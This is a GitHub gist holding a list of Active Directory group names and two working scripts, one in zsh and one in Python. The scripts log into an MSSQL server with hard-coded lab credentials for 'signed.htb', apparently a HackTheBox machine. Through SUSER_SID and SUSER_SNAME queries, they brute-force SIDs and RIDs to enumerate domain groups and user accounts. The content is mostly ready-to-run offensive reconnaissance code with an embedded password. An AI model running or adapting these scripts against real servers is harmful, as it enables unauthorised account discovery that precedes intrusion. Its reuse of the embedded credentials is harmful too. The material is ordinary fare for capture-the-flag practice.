Skip to content

Instantly share code, notes, and snippets.

@sharpicx
Last active October 21, 2025 20:15
Show Gist options
  • Save sharpicx/f9c59cbed23e6220a166d592cf3c52fb to your computer and use it in GitHub Desktop.
Save sharpicx/f9c59cbed23e6220a166d592cf3c52fb to your computer and use it in GitHub Desktop.
userenum.py
SIGNED\Access Control Assistance Operators
SIGNED\Account Operators
SIGNED\Administrators
SIGNED\Allowed RODC Password Replication Group
SIGNED\Authenticated Users
SIGNED\Backup Operators
SIGNED\BitLocker Recovery
SIGNED\BranchCache Administrators
SIGNED\BranchCache Hosts
SIGNED\Certificate Service DCOM Access
SIGNED\COM+ Users
SIGNED\Cryptographic Operators
SIGNED\DHCP Administrators
SIGNED\Distributed COM Users
SIGNED\DnsAdmins
SIGNED\DnsUpdateProxy
SIGNED\Domain Admins
SIGNED\Domain Computers
SIGNED\Domain Controllers
SIGNED\Domain Guests
SIGNED\Domain Users
SIGNED\Enterprise Admins
SIGNED\Enterprise Key Admins
SIGNED\Event Log Readers
SIGNED\Everyone
SIGNED\Exchange Organization Administrators
SIGNED\Exchange Trusted Subsystem
SIGNED\Group Policy Creator Owners
SIGNED\Guests
SIGNED\Hyper-V Administrators
SIGNED\IIS_IUSRS
SIGNED\Incoming Forest Trust Builders
SIGNED\Key Admins
SIGNED\Local Service
SIGNED\Network Configuration Operators
SIGNED\Network Policy Servers
SIGNED\Network Service
SIGNED\Office Servers
SIGNED\Performance Log Users
SIGNED\Performance Monitor Users
SIGNED\Policy Read
SIGNED\Power Users
SIGNED\Pre-Windows 2000 Compatible Access
SIGNED\Print Operators
SIGNED\Product Users
SIGNED\Protected Users
SIGNED\RAS and IAS Servers
SIGNED\Read-only Domain Controllers
SIGNED\Remote Access Users
SIGNED\Remote Desktop
SIGNED\Remote Desktop Users
SIGNED\Remote Management Users
SIGNED\Replicator
SIGNED\Schema Admins
SIGNED\Server Operators
SIGNED\SQLServerMSSQLUser$MSSQLSERVER
SIGNED\Storage Replica Administrators
SIGNED\Storage Replica Source Servers
SIGNED\System
SIGNED\Task Scheduler
SIGNED\Users
SIGNED\Windows Authorization Access Group
#!/bin/zsh
# VARS
GROUPS=("${(@f)$(<dc_groups.txt)}")
USER="scott"
PASSWORD="Sm230#C5NatH"
SERVER="signed.htb"
DOMAIN="SIGNED"
SIDS_OUTPUT="sids_output.txt"
# COLORS
GREEN="\033[0;32m"
BLUE="\033[0;34m"
ORANGE="\033[38;5;208m"
RESET="\033[0m"
function print_success() {
local text=$1
echo -e "[${GREEN}+${RESET}] ${text}"
}
function print_warning() {
local text=$1
echo -e "[${ORANGE}-${RESET}] ${text}"
}
function print_info() {
local text=$1
echo -e "[${BLUE}*${RESET}] ${text}"
}
function bruteSID() {
print_info "SID:"
for group in ${GROUPS[@]}; do
binary_sid_sql_query="SELECT SUSER_SID('${group}')"
echo $binary_sid_sql_query > binary.sql
binary=$(mssqlclient.py "DC01/${USER}:$PASSWORD@$SERVER" -file binary.sql | grep -a -o "b'[^']*'" | sed "s/^b'//;s/'$//")
if [[ -n ${binary} ]]; then
binary=$(pwsh.exe -c "
\$BinarySID = '${binary}';
\$SIDBytes = [byte[]]::new(\$BinarySID.Length / 2);
for (\$i = 0; \$i -lt \$BinarySID.Length; \$i += 2) {
\$SIDBytes[\$i / 2] = [convert]::ToByte(\$BinarySID.Substring(\$i, 2), 16)
}
\$SID = New-Object System.Security.Principal.SecurityIdentifier(\$SIDBytes, 0);
\$SID.Value
")
print_success "$group = $binary"
echo -e "${group}|$binary" >> ${SIDS_OUTPUT}
fi
rm binary.sql
done
}
function usernameEnumerationBySID() {
local SID_BASE=$1
local RID_START=${2:-1103}
local RID_END=${3:-1300}
local rid
local SID_DOMAIN=$(echo "$SID_BASE" | tr -d '\r' | tr -d '[:space:]' | sed 's/-[0-9]\+$//')
for (( rid=RID_START; rid<=RID_END; rid++ )); do
user_by_sid_sql_query="SELECT SUSER_SNAME(SID_BINARY(N'${SID_DOMAIN}-${rid}'))"
echo "$user_by_sid_sql_query" > query.sql
result=$(mssqlclient.py "DC01/${USER}:$PASSWORD@$SERVER" -file query.sql 2>/dev/null | tr -d '\r' | grep -a '\\'"${DOMAIN}"'\\')
rm -f query.sql
if [[ -n $result ]]; then
echo "$result" | sed -n "s/.*\(${DOMAIN}\\\\[^[:space:]]*\).*/\1/p" | while read -r user; do
[[ -n $user ]] && print_success "${user}"
done
fi
done
}
function enumerate_all_from_sids_output() {
[[ -f $SIDS_OUTPUT ]] || return
while IFS='|' read -r group sid_base; do
[[ -z $group || -z $sid_base ]] && continue
print_info "${group}:"
usernameEnumerationBySID "$sid_base" 1103 1300
done < "$SIDS_OUTPUT" | sort -u
}
function main() {
# bruteSID
enumerate_all_from_sids_output
}
main
import re
import subprocess
import tempfile
from pathlib import Path
from pwn import log
GROUPS_FILE = "ad_groups.txt" # common groups in AD
SIDS_OUTPUT = "sids_output.txt"
USER = "<user>"
PASSWORD = "<password>"
SERVER = "<server.com>"
DOMAIN = "<DOMAIN>"
RID_START_DEFAULT = 1103
RID_END_DEFAULT = 1300
def run_mssql_query(connection_str: str, sql: str) -> str:
with tempfile.NamedTemporaryFile("w+", delete=False) as f:
f.write(sql)
fname = f.name
try:
proc = subprocess.run(
["mssqlclient.py", connection_str, "-file", fname],
capture_output=True,
text=True,
check=False,
)
return proc.stdout.replace("\r", "")
finally:
Path(fname).unlink(missing_ok=True)
def hexstr_to_sid(hexstr: str) -> str:
b = bytes.fromhex(hexstr)
if len(b) < 8:
raise ValueError("Invalid SID byte length")
rev = b[0]
subcount = b[1]
id_auth = int.from_bytes(b[2:8], byteorder="big", signed=False)
subs = []
offset = 8
for i in range(subcount):
if offset + 4 > len(b):
break
sub = int.from_bytes(b[offset : offset + 4], byteorder="little", signed=False)
subs.append(str(sub))
offset += 4
sid = "S-{}-{}".format(rev, id_auth)
if subs:
sid = f"{sid}-" + "-".join(subs)
return sid
def brute_sid(groups):
conn = f"DC01/{USER}:{PASSWORD}@{SERVER}"
Path(SIDS_OUTPUT).write_text("")
log.info("SID:")
for group in groups:
sql = f"SELECT SUSER_SID('{group}')"
out = run_mssql_query(conn, sql)
m = re.search(r"b'([^']+)'", out)
if m:
hexstr = m.group(1)
try:
sid = hexstr_to_sid(hexstr)
log.success(f"{group} = {sid}")
with open(SIDS_OUTPUT, "a") as fh:
fh.write(f"{group}|{sid}\n")
except Exception as e:
log.warn(f"failed convert SID for {group}: {e}")
def username_enumeration_by_sid(
sid_base: str, rid_start: int = RID_START_DEFAULT, rid_end: int = RID_END_DEFAULT
):
conn = f"DC01/{USER}:{PASSWORD}@{SERVER}"
sid_base_clean = re.sub(r"\s+", "", sid_base.replace("\r", ""))
sid_domain = re.sub(r"-\d+$", "", sid_base_clean)
for rid in range(rid_start, rid_end + 1):
sid_try = f"{sid_domain}-{rid}"
sql = f"SELECT SUSER_SNAME(SID_BINARY(N'{sid_try}'))"
out = run_mssql_query(conn, sql)
matches = re.findall(rf"{re.escape(DOMAIN)}\\\S+", out)
if matches:
for u in matches:
log.success(f"{u}")
def enumerate_all_from_sids_output(
rid_start: int = RID_START_DEFAULT, rid_end: int = RID_END_DEFAULT
):
if not Path(SIDS_OUTPUT).exists():
return
seen = set()
with open(SIDS_OUTPUT) as fh:
for line in fh:
line = line.strip()
if not line or "|" not in line:
continue
group, sid = line.split("|", 1)
if (group, sid) in seen:
continue
seen.add((group, sid))
log.info(f"{group}:")
username_enumeration_by_sid(sid, rid_start, rid_end)
def main():
# if you need to re-run brute SID collection, uncomment:
# groups = [g.strip() for g in Path(GROUPS_FILE).read_text().splitlines() if g.strip()]
# brute_sid(groups)
enumerate_all_from_sids_output(1103, 1300)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment